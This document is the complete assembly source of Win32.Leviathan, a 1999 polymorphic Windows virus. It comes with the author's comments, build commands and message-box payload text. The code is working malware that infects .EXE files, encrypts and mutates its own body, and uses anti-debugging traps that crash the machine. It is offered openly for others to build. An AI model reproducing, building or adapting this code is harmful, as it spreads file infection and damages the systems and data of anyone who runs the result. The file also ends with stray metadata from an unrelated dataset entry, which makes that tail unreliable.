;different virus versions:
;
;
;Levi.3040
;----------
;
;Displays the following text:
;
; Win32.Wildfire (c) 1998 Magnic
; I am/I can - The Wildfire virus.
; -d e c o d e-
; idwhereamif73hrjddhffidosyeudifr
; ghfeugenekasperskydjfkdjisfatued
; 938rudandmydickisgrowingehdjfggk
;
;
;Levi.3236
;----------
;
;Displays the following text:
;
; Hey stupid !
; Win32.Leviathan (c) 1999 by Benny
; This is gonna be your nightmare...
; 30th generation of Leviathan is here... beware of me !
; Threads are stripped, ship is sinkin'...
;
; Greetz: Darkman/29A
; Super/29A
; Billy Belcebu/DDT
; and all other 29Aers...
;
; Special greet:
; Arthur Rimbaud
;
; New milenium is knockin on the door...
; New generation of viruses is here, nothing promised, no regret.
;
;
;While infecting the virus runs seven threads from its main procedure. Each thread performs only
;limited set of actions and passes control to next thread: one thread checks system conditions
;and enables second thread that searches for files, then third thread checks the file structure,
;then next thread writes the virus code to the file, e.t.c.
;
;To get access to Windows Kernel32 functions the virus scans victim files for GetModuleHandleA
;and GetModuleHandleW imported functions. In case no these exports found, the virus does not
;affect the file. Otherwise is stores functions' addresses and uses them in its installation
;routine.
;
;
;
;Author's notes
;===============
;
;Bah, as u can see, there r two versions of virus. There is also "a second one" (Win32.Levi.3236).
;When I finished this, I sent it to my friends and to every ppl who wanted to see it (binary only
;ofcoz). L8r, when I was on IRC, IntelServ (in that time, I didn't know, whata jerk IntelServ is)
;changed his nick to "Z0MBie" (in that time nick of one 29Aer) and asked me for source. Yeah,
;that time I didn't know that silly "trick", which many lamers used to get sources from someones.
;I gave that to him and that was BIG mystake. Well, some lamer modified source and made new
;variant of virus. U can see, that new version is smaller and displays another message as payload.
;But thing that made me laughin' and cryin' is date of release that variant prints. It prints
;"1998" year. That lamer wanted to show ya, that he was the first one who coded it. Many ppl
;thought I stolen source code from someone and "improved" that, so I had to explain everyone, I
;was the first and that silly version is stolen one. Here u have original source, so I hope u will
;believe me. And last note: None of any normal coderz could do that. Only lamerz, only ppl that
;can't code anything that would be able to run can do this. Let's say hello to them X-D.
;
;
;
;Greetz
;=======
;
; Darkman/29A............ Thanx for all
; Super/29A.............. Hey, thanx for motivation... X-D
; IntelServ.............. U lame!
; Magnic/WildFire/Lamer.. Hahaha, gewd. And can u code anything else?
; and all coderz......... Trust noone!
;
;
;
;Who is this virus dedicated for?
;=================================
;
;For the best French poetist ever, for Jean-Arthur-Nicolas-Rimbaud.
;
;
;
;How to build
;=============
;
; tasm32 -ml -q -m4 levi.asm
; tlink32 -Tpe -c -x -aa -r levi,,, import32
; pewrsec levi.exe
;
;
;
;Who da fuck is that Leviathan ?
;================================
;
;Open (un)holy book, stupid !
;
;
;
;(c) 1999 Benny. Enjoy!
.386p ;386 protected instructions
.model flat ;32bit offset
include win32api.inc ;some includes
include pe.inc
include mz.inc
include useful.inc
REALTIME_PRIORITY_CLASS = 80h ;constant for changin priorities
extrn GetModuleHandleA:PROC ;needed by first generation
extrn GetModuleHandleW:PROC
extrn ExitProcess:PROC
.data
db ? ;for tlink32's pleasure
ends
.code
Start:
pushad ;push all regs
j1: nop ;here starts decryptorn NOPs r filled with junk bytes
call j2 ;get delta
j2: nop
mov ebp, [esp]
j3: nop
sub ebp, offset j2
j4: nop
lea esi, [ebp + encrypted] ;enrypted stuff start
j5: nop
mov ecx, (virus_end - encrypted + 3) / 4 ;count
j6: nop
mov edi, 0 ;enrypt constant
key = dword ptr $ - 4
j7: nop
decrypt:
xor [esi], edi ;decrypt 4 bytes
j8: nop
add esi, 4 ;next 4 bytes
j9: nop
loop decrypt ;do it ECX times
encrypted:
pop ecx ;delta remainder
mov ecx, offset _GetModuleHandleA - 400000h ;first dendrit
MyGMHA = dword ptr $ - 4
mov eax, offset _GetModuleHandleW - 400000h ;second dendrit
MyGMHW = dword ptr $ - 4
call Neuron_GMH ;call first pseudo-neuron
jecxz error ;error, jump to host
mov [ebp + K32Handle], ecx ;store handle
xchg eax, ecx ;first dendrit
lea esi, [ebp + szAPIs] ;second dendrit
lea edi, [ebp + ddAPIs] ;third
call Neuron_GPA ;call pseudo-neuron
jecxz error ;error ?
call [ebp + ddGetCurrentProcess] ;get pseudo-handle of cur. process
mov esi, eax
push esi
call [ebp + ddGetPriorityClass] ;get current process priority
mov edi, eax
push REALTIME_PRIORITY_CLASS
push esi
call [ebp + ddSetPriorityClass] ;set new one
xchg eax, ecx
jecxz error ;error ?
call Neuron_Init ;Init neurons by pseudo-neuron
jecxz error
n_loop: cmp byte ptr [ebp + JumpToHost], 0 ;can i jump to host ?
je n_loop ;neurons r runnin', wait
push edi
push esi
call [ebp + ddSetPriorityClass] ;set back priority
xor eax, eax ;check for payload
mov al, 29
cmp [ebp + NumOfExecs], eax ;executed for 30x ?
jb error
cmp [ebp + GenerationCount], eax ;30th generation ?
jb error
in al, 40h
and al, 10 ;check tix
cmp al, 2
jne error
call Neuron_PayLoad ;call pseudo-neuron -> payload
error: mov [esp.Pushad_eax], ebp
popad ;recover stack and registers
mov eax, [eax + EntryPoint]
add eax, 400000h
jmp eax ;jump to host
;----------------------------------------------------------------------------------
Neuron_PayLoad Proc
call payload
db 'USER32', 0 ;push this name
payload:
call [ebp + ddLoadLibraryA] ;load USER32.DLL
test eax, eax
je end_payload
mov ebx, eax
lea esi, [ebp + szMessageBoxA]
call GetProcAddress ;find API
xchg eax, ecx
jecxz end_payload ;not found, no payload :-(
push 1000h
lea edx, [ebp + szMsgTitle]
push edx
lea edx, [ebp + szMsgText]
push edx
push 0
call ecx ;display message box
push ebx
call [ebp + ddFreeLibrary]
end_payload:
ret
Neuron_PayLoad EndP
;----------------------------------------------------------------------------------
Neuron_Init Proc
n1: xor eax, eax ;suspend neurons
mov [ebp + nDebugger_run], al
mov [ebp + nFind_run], al
mov [ebp + nCheck_run], al
mov [ebp + nInfect_run], al
mov [ebp + nOpenFile_run], al
mov [ebp + nCloseFile_run], al
mov [ebp + nVersion_run], 1 ;resume first neuron
lea ebx, [ebp + ddThreadID] ;create all threads/neurons
lea esi, [ebp + StartOfNeurons]
lea edi, [ebp + NHandles]
mov ecx, num_of_neurons
InitNeurons:
push ecx
n2: xor eax, eax
push ebx
push eax
push ebp
mov edx, [esi]
add edx, ebp
push edx
push eax
push eax
call [ebp + ddCreateThread] ;create thread
pop ecx
t1: test eax, eax
je init_er
stosd
add esi, 4
loop InitNeurons ;ECX times
init_er:
xchg eax, ecx
ret
Neuron_Init EndP
;----------------------------------------------------------------------------------
Neuron_GMH Proc ;dendrits: EAX - address of GMHW
; ECX - address of GMHA
;axon : ECX - module handle
mov edx, 400000h ;add Image Base
jecxz try_gmhW
add ecx, edx
call szk32a
K32 db 'KERNEL32', 0
szk32a: call [ecx] ;GetModuleHandleA API call
xchg eax, ecx
ret
try_gmhW:
add eax, edx
xchg eax, ecx
jecxz gmh_er
call szk32w
K32W dw 'K','E','R','N','E','L','3','2', 0
szk32w: call [ecx] ;GetModuleHandleW API call
xchg eax, ecx
ret
gmh_er: xor ecx, ecx
ret
Neuron_GMH EndP
;----------------------------------------------------------------------------------
Neuron_GPA Proc ;dendrits: EAX - module handle
; ESI - address of API strings
; EDI - address of API addresses
;axon : ECX = 0, if error
mov ebx, eax
n_gpa: call GetProcAddress ;get API address
t2: test eax, eax
je gpa_er
stosd ;store address
@endsz ;end string
mov eax, ebx
cmp byte ptr [esi], 0ffh ;end of APIs ?
jne n_gpa
ret
gpa_er: xor ecx, ecx ;error, ECX=0
ret
GetProcAddress:
pushad
@SEH_SetupFrame <jmp Proc_Address_not_found>
mov ebx, eax
add eax, [ebx.MZ_lfanew]
mov ecx, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
jecxz Proc_Address_not_found
mov ebp, ebx
add ebp, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
push ecx
mov edx, ebx
add edx, [ebp.ED_AddressOfNames]
mov ecx, [ebp.ED_NumberOfNames]
n3: xor eax, eax
Search_for_API_name:
mov edi, [esp + 16]
mov esi, ebx
add esi, [edx + eax * 4]
Next_Char_in_API_name:
cmpsb
jz Matched_char_in_API_name
inc eax
loop Search_for_API_name
pop eax
Proc_Address_not_found:
n4: xor eax, eax
jmp End_MyGetProcAddress
Matched_char_in_API_name:
cmp byte ptr [esi-1], 0
jne Next_Char_in_API_name
pop ecx
mov edx, ebx
add edx, [ebp.ED_AddressOfOrdinals]
movzx eax, word ptr [edx + eax * 2]
Check_Index:
cmp eax, [ebp.ED_NumberOfFunctions]
jae Proc_Address_not_found
mov edx, ebx
add edx, [ebp.ED_AddressOfFunctions]
add ebx, [edx + eax * 4]
mov eax, ebx
sub ebx, ebp
cmp ebx, ecx
jb Proc_Address_not_found
End_MyGetProcAddress:
@SEH_RemoveFrame
mov [esp.Pushad_eax], eax
popad
ret
Neuron_GPA EndP
;----------------------------------------------------------------------------------
GetProcAddressIT proc ;dendrits: EAX - API name
; ECX - lptr to PE header
; EDX - module name
;axon: EAX - RVA pointer to IAT, 0 if error
pushad
n5: xor eax, eax
push ebp
mov esi, [ecx.MZ_lfanew]
add esi, ecx
mov eax, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
mov ebp, ecx
push ecx
movzx ecx, word ptr [esi.NT_FileHeader.FH_NumberOfSections]
movzx ebx, word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
lea ebx, [esi.NT_OptionalHeader + ebx]
scan_sections:
mov edx, [ebx.SH_VirtualAddress]
cmp edx, eax
je section_found
sub ebx, -IMAGE_SIZEOF_SECTION_HEADER
loop scan_sections
pop ecx
pop eax
jmp End_GetProcAddressIT2
section_found:
mov ebx, [ebx + 20]
add ebx, ebp
pop ecx
pop eax
test ebx, ebx
je End_GetProcAddressIT2
xor esi, esi
xor ebp, ebp
push esi
dec ebp
Get_DLL_Name:
pop esi
inc ebp
mov edi, [esp + 20]
mov ecx, [ebx.esi.ID_Name]
test ecx, ecx
je End_GetProcAddressIT2
sub ecx, edx
sub esi, -IMAGE_SIZEOF_IMPORT_DESCRIPTOR
push esi
lea esi, [ebx + ecx]
Next_Char_from_DLL:
lodsb
add al, -'.'
jz IT_nup
sub al, -'.' + 'a'
cmp al, 'z' - 'a' + 1
jae no_up
add al, -20h
no_up: sub al, -'a'
IT_nup: scasb
jne Get_DLL_Name
cmp byte ptr [edi-1], 0
jne Next_Char_from_DLL
Found_DLL_Name:
pop esi
imul eax, ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
mov ecx, [ebx + eax.ID_OriginalFirstThunk]
jecxz End_GetProcAddressIT2
sub ecx, edx
add ecx, ebx
xor esi, esi
Next_Imported_Name:
push esi
mov edi, [esp + 32]
mov esi, [ecx + esi]
test esi, esi
je End_GetProcAddressIT3
sub esi, edx
add esi, ebx
lodsw
next_char:
cmpsb
jne next_step
cmp byte ptr [esi-1], 0
je got_it
jmp next_char
next_step:
pop esi
sub esi, -4
jmp Next_Imported_Name
got_it: pop esi
imul ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
add ebx, ebp
mov eax, [ebx.ID_FirstThunk]
add eax, esi
mov [esp + 28], eax
jmp End_GetProcAddressIT
End_GetProcAddressIT3:
pop eax
End_GetProcAddressIT2:
n6: xor eax, eax
mov [esp.Pushad_eax], eax
End_GetProcAddressIT:
popad
ret
GetProcAddressIT EndP
;----------------------------------------------------------------------------------
Neuron_GetVersion Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_getver:
mov ebx, delta_param ;delta offset as dendrit
n7: xor eax, eax
nVersion_susp:
cmp al, 123 ;synchronize
nVersion_run = byte ptr $ - 1
je nVersion_susp
call [ebx + ddGetVersion] ;get version of windoze
xor ecx, ecx
cmp eax, 80000000h
jb WinNT ;WinNT present
cmp ax, 0a04h
jb Win95 ;Win95 present
inc ecx ;probably Win98
Win95: jmp n_gv
WinNT: inc ecx
inc ecx
n_gv: inc dword ptr [ebx + NumOfExecs] ;increment variable
mov [ebx + ndeb_param], cl
mov byte ptr [ebx + nDebugger_run], 1 ;resume thread (synapse)
call ExitThread
Neuron_GetVersion EndP
;----------------------------------------------------------------------------------
ExitThread: ;current thread will be canceled
push 0
call [ebx + ddExitThread]
;----------------------------------------------------------------------------------
Neuron_Debugger Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_debugger:
mov ebx, delta_param ;delta as dendrit1
n8: xor eax, eax
nDebugger_susp:
cmp al, 123 ;synchronize
nDebugger_run = byte ptr $ - 1
je nDebugger_susp
mov cl, 123 ;version of Windoze as dendrit2
ndeb_param = byte ptr $ - 1
cmp cl, 0
je end_debugger
pushad
@SEH_SetupFrame <jmp seh_fn>
push edx
pop dword ptr [edx] ;SEH trap
jmp Win98_trap
seh_rs: mov eax, [ebx + K32Handle]
lea esi, [ebx + szIsDebuggerPresent]
call GetProcAddress ;get API address
xchg eax, ecx
jecxz end_debugger
call ecx ;is debugger present ?
xchg eax, ecx
jecxz end_debugger
cmp bl, 2
je WinNT_trap
Win98_trap:
push 19cdh xor 666
xor word ptr [esp], 666
pop dword ptr [ebx + WinNT_trap] ;int 19h
WinNT_trap:
n9: xor eax, eax ;GP fault
push eax
pop esp
jmp $ - 1
seh_fn: @SEH_RemoveFrame
popad
jmp seh_rs
end_debugger:
mov [ebx + nFind_run], 1 ;resume thread (synapse)
jmp ExitThread
Neuron_Debugger EndP
;----------------------------------------------------------------------------------
Neuron_Find Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_find: mov ebx, delta_param
n10: xor eax, eax
find_susp:
cmp al, 123
nFind_run = byte ptr $ - 1
je find_susp
lea edx, [ebx + WFD]
push edx
lea edx, [ebx + szExt]
push edx
call [ebx + ddFindFirstFileA] ;find first file
xchg eax, ecx
jecxz end_Find
mov [ebx + SearchHandle], ecx ;save handle
check&infect:
lea edx, [ebx + nCheck_run] ;resume check_file neuron
mov al, 1
mov [edx], al
nFind1_wait:
cmp [edx], al
je nFind1_wait
inc eax
cmp [edx], al
je try_next_file
lea edx, [ebx + nInfect_run] ;resume infect_file neuron
mov al, 1
mov [edx], al
nFind2_wait:
cmp [edx], al
je nFind2_wait
try_next_file:
lea edx, [ebx + WFD]
push edx
push [ebx + SearchHandle]
call [ebx + ddFindNextFileA] ;find next file
t3: test eax, eax
jne check&infect
end_Find:
mov al, 11h ;quit-signal to all neurons
mov [ebx + nCheck_run], al
mov [ebx + nInfect_run], al
mov [ebx + nOpenFile_run], al
mov [ebx + nCloseFile_run], al
mov byte ptr [ebx + JumpToHost], al
jmp ExitThread ;quit
Neuron_Find EndP
;----------------------------------------------------------------------------------
Neuron_CheckFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_checkfile:
mov ebx, delta_param
n11: xor eax, eax
check_susp:
cmp al, 123
nCheck_run = byte ptr $ - 1
je check_susp
cmp [ebx + nCheck_run], 11h ;quit ?
je ExitThread
xor esi, esi ;discard directories
test byte ptr [ebx + WFD.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
jne end_chkfile
xor ecx, ecx
cmp [ebx + WFD.WFD_nFileSizeHigh], ecx ;discard huge files
jne end_chkfile
mov eax, [ebx + WFD.WFD_nFileSizeLow]
cmp eax, 1000h ;discard file < 4096
jb end_chkfile
n12: xor eax, eax ;open file
inc eax
mov [ebx + nopen_param2], eax
lea eax, [ebx + WFD.WFD_szFileName]
mov [ebx + nopen_param1], eax
lea edx, [ebx + nOpenFile_run] ;synchronizin threads
mov al, 1
mov [edx], al
nCheck1_wait:
cmp [edx], al
je nCheck1_wait
inc eax
cmp [edx], al
je end_closefile
mov edx, [ebx + lpFile]
cmp word ptr [edx], IMAGE_DOS_SIGNATURE ;must be MZ
jne end_closefile
cmp byte ptr [edx.MZ_res2], 0
jne end_closefile
mov ecx, [edx.MZ_lfanew]
jecxz end_closefile
mov eax, [ebx + WFD.WFD_nFileSizeLow] ;valid MZ_lfanew ?
cmp eax, ecx
jb end_closefile
add ecx, edx
cmp dword ptr [ecx], IMAGE_NT_SIGNATURE ;must be PE\0\0
jne end_closefile
cmp word ptr [ecx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386
jne end_closefile ;must be 386+
mov eax, dword ptr [ecx.NT_FileHeader.FH_Characteristics]
not al
test ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
jne end_closefile ;must be executable, mustnt be DLL
cmp [ecx.NT_OptionalHeader.OH_ImageBase], 400000h ;image base
jne end_closefile
mov esi, 'Levi' ;toggle flag
end_closefile:
n13: xor eax, eax ;close file
mov [ebx + nclose_param2], eax
inc eax
inc eax
mov [ebx + nclose_param1], eax
lea edx, [ebx + nCloseFile_run] ;synchronize threads
mov al, 1
mov [edx], al
nCheck2_wait:
cmp [edx], al
je nCheck2_wait
end_chkfile:
n14: xor eax, eax
cmp esi, 'Levi' ;check flag
je @20
inc eax
inc eax
@20: mov [ebx + nCheck_run], al
jmp check_susp
Neuron_CheckFile EndP
;----------------------------------------------------------------------------------
Neuron_OpenFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_openfile:
mov ebx, delta_param
n15: xor eax, eax
open_susp:
cmp al, 123
nOpenFile_run = byte ptr $ - 1
je open_susp
cmp [ebx + nOpenFile_run], 11h ;quit ?
je ExitThread
mov esi, 12345678h
nopen_param1 = dword ptr $ - 4 ;name
mov ecx, 12345678h
nopen_param2 = dword ptr $ - 4
jecxz open_write ;open write mode
xor edi, edi
jmp next_open
open_write:
mov edi, 12345678h ;size
nopen_param3 = dword ptr $ - 4
next_open:
n16: xor eax, eax
dec eax
mov [ebx + lpFile], eax
inc eax
push eax
push eax
push OPEN_EXISTING
push eax
mov al, 1
push eax
ror eax, 1
mov ecx, edi
jecxz $ + 4
rcr eax, 1
push eax
push esi
call [ebx + ddCreateFileA] ;open file
cdq
xor esi, esi
mov [ebx + hFile], eax
inc eax
je end_OpenFile
dec eax
push edx
push edi
push edx
mov dl, PAGE_READONLY
mov ecx, edi
jecxz $ + 4
shl dl, 1
push edx
push esi
push eax
call [ebx + ddCreateFileMappingA] ;create mapping of file
cdq
xchg eax, ecx
mov [ebx + hMapFile], ecx
jecxz end_OpenFile2
push edi
push edx
push edx
mov dl, FILE_MAP_READ
test edi, edi
je $ + 4
shr dl, 1
push edx
push ecx
call [ebx + ddMapViewOfFile] ;map file to address space
xchg eax, ecx
mov [ebx + lpFile], ecx
jecxz end_OpenFile3
xor eax, eax
jmp @e
end_OpenFile:
mov al, 2
@e: mov [ebx + nOpenFile_run], al
jmp open_susp
end_OpenFile2:
mov [ebx + nclose_param1], ecx
mov al, 1
lea edx, [ebx + nCloseFile_run]
mov [edx], al
nOpen_wait:
cmp [edx], al
je nOpen_wait
n17: xor eax, eax
inc eax
inc eax
mov [ebx + nOpenFile_run], al
jmp open_susp
end_OpenFile3:
inc ecx
jmp end_OpenFile2
Neuron_OpenFile EndP
;----------------------------------------------------------------------------------
Neuron_CloseFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_closefile:
mov ebx, delta_param
n18: xor eax, eax
close_susp:
cmp al, 123
nCloseFile_run = byte ptr $ - 1
je close_susp
cmp [ebx + nCloseFile_run], 11h ;quit ?
je ExitThread
mov ecx, 12345678h ;mode
nclose_param1 = dword ptr $ - 4
jecxz @10
cmp cl, 1
je @11
mov edi, 12345678h
nclose_param2 = dword ptr $ - 4
push [ebx + lpFile]
call [ebx + ddUnmapViewOfFile] ;unmap view of file
@11: push [ebx + hMapFile]
call [ebx + ddCloseHandle] ;close mapping object
test edi, edi
je @10
mov esi, [ebx + hFile]
n19: xor eax, eax
push eax
push eax
push edi
push esi
call [ebx + ddSetFilePointer] ;set file pointer to EOF
push esi
call [ebx + ddSetEndOfFile] ;trucate file
@10: lea eax, [ebx + WFD.WFD_ftLastWriteTime]
push eax
lea eax, [ebx + WFD.WFD_ftLastAccessTime]
push eax
lea eax, [ebx + WFD.WFD_ftCreationTime]
push eax
push esi
call [ebx + ddSetFileTime] ;set back file time
push [ebx + hFile]
call [ebx + ddCloseHandle] ;close time
mov byte ptr [ebx + nCloseFile_run], 0
jmp n_closefile
Neuron_CloseFile EndP
;----------------------------------------------------------------------------------
Neuron_InfectFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
n_infectfile:
mov ebx, delta_param
n20: xor eax, eax
inf_susp:
cmp al, 123
nInfect_run = byte ptr $ - 1
je inf_susp
cmp [ebx + nInfect_run], 11h ;quit ?
je ExitThread
xor esi, esi
push esi
lea edi, [ebx + WFD.WFD_szFileName]
push edi
call [ebx + ddSetFileAttributesA] ;blank file attributes
t4: test eax, eax
je end_InfectFile
mov [ebx + nopen_param1], edi
mov [ebx + nopen_param2], esi
mov eax, [ebx + WFD.WFD_nFileSizeLow]
add eax, virus_end - Start + 5000
mov [ebx + nopen_param3], eax
lea edx, [ebx + nOpenFile_run] ;open file
n21: xor eax, eax
inc eax
mov [edx], al
inf_wait:
cmp [edx], al
je inf_wait
dec eax
dec eax
mov ecx, [ebx + lpFile]
cmp ecx, eax
je end_InfectFile
lea eax, [ebx + szGetModuleHandleA]
lea edx, [ebx + K32]
call GetProcAddressIT ;search for GMHA in IT
t5: test eax, eax
jne stoK32
lea eax, [ebx + szGetModuleHandleW]
call GetProcAddressIT ;search for GMHW in IT
t6: test eax, eax
je end_InfectClose
mov [ebx + MyGMHW], eax
n22: xor eax, eax
stoK32: mov [ebx + MyGMHA], eax
mov edx, [ebx + lpFile]
push edx
push edx
add edx, [edx.MZ_lfanew]
push ebp
movzx esi, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea esi, [edx.NT_OptionalHeader + esi] ;locate first section
movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections] ;get number of sctnz
mov edi, esi ;get LAST section
n23: xor eax, eax
push ecx
BSection:
cmp [edi.SH_PointerToRawData], eax
je NBiggest
mov ebp, ecx
mov eax, [edi.SH_PointerToRawData]
NBiggest:
sub edi, -IMAGE_SIZEOF_SECTION_HEADER
loop BSection
pop ecx
sub ecx, ebp
imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER
add esi, eax
mov edi, dword ptr [esi.SH_SizeOfRawData]
mov eax, virtual_end - Start
push edi
lea edi, [esi.SH_VirtualSize] ;new virtual size of section
push dword ptr [edi]
add [edi], eax
mov eax, [edi]
push edx
mov ecx, [edx.NT_OptionalHeader.OH_FileAlignment]
xor edx, edx
div ecx
xor edx, edx
inc eax
mul ecx
mov [esi.SH_SizeOfRawData], eax ;new SizeOfRawData (aligned virtual size)
mov ecx, eax
pop edx
pop ebp
add ebp, [esi.SH_VirtualAddress]
mov eax, [edx.NT_OptionalHeader.OH_AddressOfEntryPoint]
pop edi
push eax
mov eax, [ebx + EntryPoint]
pop [ebx + EntryPoint]
mov [edx.NT_OptionalHeader.OH_AddressOfEntryPoint], ebp
sub ecx, edi
add [edx.NT_OptionalHeader.OH_SizeOfImage], ecx ;new SizeOfImage
or byte ptr [esi.SH_Characteristics.hiw.hib], 0e0h ;change flags
pop ebp
pop edi
mov byte ptr [edi.MZ_res2], 1
add edi, [esi.SH_PointerToRawData]
add edi, [esi.SH_VirtualSize]
add edi, Start - virtual_end
lea esi, [ebx + buffer]
mov ecx, (virus_end - Start + 3) / 4
inc dword ptr [ebx + GenerationCount]
call Mutate
rep movsd ;copy virus
mov [ebx + EntryPoint], eax ;restore variable after copy stage
pop edx ;get start of MM-file
sub edi, edx ;calculate new size
jmp @30
end_InfectClose:
mov edi, [ebx + WFD.WFD_nFileSizeLow]
@30: mov byte ptr [ebx + nclose_param1], 2
mov [ebx + nclose_param2], edi ;close file
n24: xor eax, eax
inc eax
lea edx, [ebx + nCloseFile_run]
mov [edx], al
@40: cmp [edx], al
je @40
end_InfectFile:
push [ebx + WFD.WFD_dwFileAttributes]
lea edi, [ebx + WFD.WFD_szFileName]
push edi
call [ebx + ddSetFileAttributesA] ;set back file attributes
mov [ebx + nInfect_run], 0
jmp n_infectfile
Neuron_InfectFile EndP
;----------------------------------------------------------------------------------
Mutate Proc
pushad ;store all regs
;first stage will rebuild some instructions with others, that does same thing
; - this is part of polymorphism
;1) nulify eax register
_mut_: lea esi, [ebx + nPoints] ;start of address table
mutate: lodsd ;load first address
t7: test eax, eax
je next_mutate ;end ?
mut_jmp = dword ptr $ - 2
je end_mutate
mov edi, eax
add edi, ebx ;correct by delta offset
in al, 40h ;get pseudo-random number
and al, 2 ;truncate
je mut1
cmp al, 1
je mutate
mov ax, 0
org $ - 2
c1: xor eax, eax
jmp op_st1 ;rewrite with xor eax, eax opcode
mut1: mov ax, 0
org $ - 2
c2: sub eax, eax
op_st1: stosw
jmp mutate
next_mutate:
;2) test for eax
mov dword ptr [ebx + mutate - 4], offset tPoints
mov word ptr [ebx + mut_jmp], 9090h
mov word ptr [ebx + c1], 0
org $ - 2
test eax, eax
mov word ptr [ebx + c2], 0
org $ - 2
or eax, eax
jmp mutate
;this will crypt our body and insert some junk instructions randomly
end_mutate:
lodsd
test eax, eax
je _crypt_
xchg eax, edi
add edi, ebx
xor eax, eax
push esi
lea esi, [ebx + junx]
in al, 40h
and al, num_of_junx
add esi, eax
lodsb
pop esi
stosb
jmp end_mutate
_crypt_:
;generate pseudo-random key
in ax, 40h
shl eax, 16
in ax, 40h
xchg eax, edx
mov [ebx + key], edx
;copy decryptor
lea esi, [ebx + Start]
lea edi, [ebx + buffer]
mov ecx, encrypted - Start
rep movsb
;crypt body
mov ecx, (virus_end - encrypted + 3) / 4
crypt: lodsd
xor eax, edx
stosd
loop crypt
popad
ret
Mutate EndP
;----------------------------------------------------------------------------------
EntryPoint dd offset ExitProcess - 400000h
;xor eax, eax
nPoints: irp Num, <1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24>
dd offset n&Num
endm
nCount = ($ - nPoints)/4
dd 0
;test eax, eax
tPoints: irp Num, <1,2,3,4,5,6,7>
dd offset t&Num
endm
tCount = ($ - tPoints)/4
dd 0
;junk address table
jPoints: irp Num, <1,2,3,4,5,6,7,8,9>
dd offset j&Num
endm
dd 0
junx: clc ;junk instructions
cmc
stc
nop
cld
std
lahf
cwde
cdq
inc eax
dec eax
inc edx
dec edx
num_of_junx = dword ptr $ - offset junx - 1
NumOfExecs dd ?
GenerationCount dd ?
StartOfNeurons:
dd offset Neuron_Debugger
dd offset Neuron_Find
dd offset Neuron_CheckFile
dd offset Neuron_OpenFile
dd offset Neuron_CloseFile
dd offset Neuron_InfectFile
dd offset Neuron_GetVersion
num_of_neurons = 7
szGetModuleHandleA db 'GetModuleHandleA', 0
szGetModuleHandleW db 'GetModuleHandleW', 0
szAPIs:
szCreateThread db 'CreateThread', 0
szExitThread db 'ExitThread', 0
szGetVersion db 'GetVersion', 0
szFindFirstFileA db 'FindFirstFileA', 0
szFindNextFileA db 'FindNextFileA', 0
szFindClose db 'FindClose', 0
szCreateFileA db 'CreateFileA', 0
szCreateFileMappingA db 'CreateFileMappingA', 0
szMapViewOfFile db 'MapViewOfFile', 0
szUnmapViewOfFile db 'UnmapViewOfFile', 0
szCloseHandle db 'CloseHandle', 0
szSetFilePointer db 'SetFilePointer', 0
szSetEndOfFile db 'SetEndOfFile', 0
szSetFileTime db 'SetFileTime', 0
szSetFileAttributesA db 'SetFileAttributesA', 0
szGetCurrentProcess db 'GetCurrentProcess', 0
szGetPriorityClass db 'GetPriorityClass', 0
szSetPriorityClass db 'SetPriorityClass', 0
szLoadLibraryA db 'LoadLibraryA', 0
szFreeLibrary db 'FreeLibrary', 0
db 0ffh
szIsDebuggerPresent db 'IsDebuggerPresent', 0
szMessageBoxA db 'MessageBoxA', 0
szExt db '*.EXE', 0
org $ - 1
JumpToHost db ?
szMsgTitle db 'Win32.Leviathan (c) 1999 by Benny', 0
szMsgText db 'Hey stupid !', 0dh, 0dh
db 'This is gonna be your nightmare...', 0dh
db '30th generation of Leviathan is here... beware of me !', 0dh
db 'Threads are stripped, ship is sinkin''...', 0dh, 0dh
db 'Greetz:'
db 09, 'Darkman/29A', 0dh
db 09, 'Super/29A', 0dh
db 09, 'Billy Belcebu/DDT', 0dh
db 09, 'and all other 29Aers...', 0dh, 0dh
db 'Special greet:', 0dh
db 09, 'Arthur Rimbaud', 0dh, 0dh
db 'New milenium is knockin on the door... ', 0dh
db 'New generation of viruses is here, nothing promised, no regret.', 0
virus_end:
_GetModuleHandleA dd offset GetModuleHandleA
_GetModuleHandleW dd offset GetModuleHandleW
ddAPIs:
ddCreateThread dd ?
ddExitThread dd ?
ddGetVersion dd ?
ddFindFirstFileA dd ?
ddFindNextFileA dd ?
ddFindClose dd ?
ddCreateFileA dd ?
ddCreateFileMappingA dd ?
ddMapViewOfFile dd ?
ddUnmapViewOfFile dd ?
ddCloseHandle dd ?
ddSetFilePointer dd ?
ddSetEndOfFile dd ?
ddSetFileTime dd ?
ddSetFileAttributesA dd ?
ddGetCurrentProcess dd ?
ddGetPriorityClass dd ?
ddSetPriorityClass dd ?
ddLoadLibraryA dd ?
ddFreeLibrary dd ?
ddThreadID dd ?
NHandles:
hNeuron_Debugger dd ?
hNeuron_Find dd ?
hNeuron_CheckFile dd ?
hNeuron_OpenFile dd ?
hNeuron_CloseFile dd ?
hNeuron_InfectFile dd ?
hNeuron_GetVersion dd ?
hFile dd ?
hMapFile dd ?
lpFile dd ?
K32Handle dd ?
SearchHandle dd ?
WFD WIN32_FIND_DATA ?
buffer db virus_end - Start dup (?)
virtual_end:
ends
End Start
| 24.267327 | 98 | 0.678342 |
c868dcf2f4f9c3d1b614be25d8f2e13d47d6b01a | 749 | asm | Assembly | programs/oeis/004/A004739.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
